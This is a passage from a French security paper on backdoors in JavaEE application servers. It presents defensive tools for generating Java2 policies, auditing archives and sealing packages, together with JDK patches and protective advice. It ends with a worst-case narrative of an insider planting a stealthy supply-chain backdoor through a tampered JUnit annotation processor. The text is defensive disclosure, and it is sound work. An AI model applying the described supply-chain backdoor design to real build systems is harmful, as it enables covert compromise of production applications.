La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

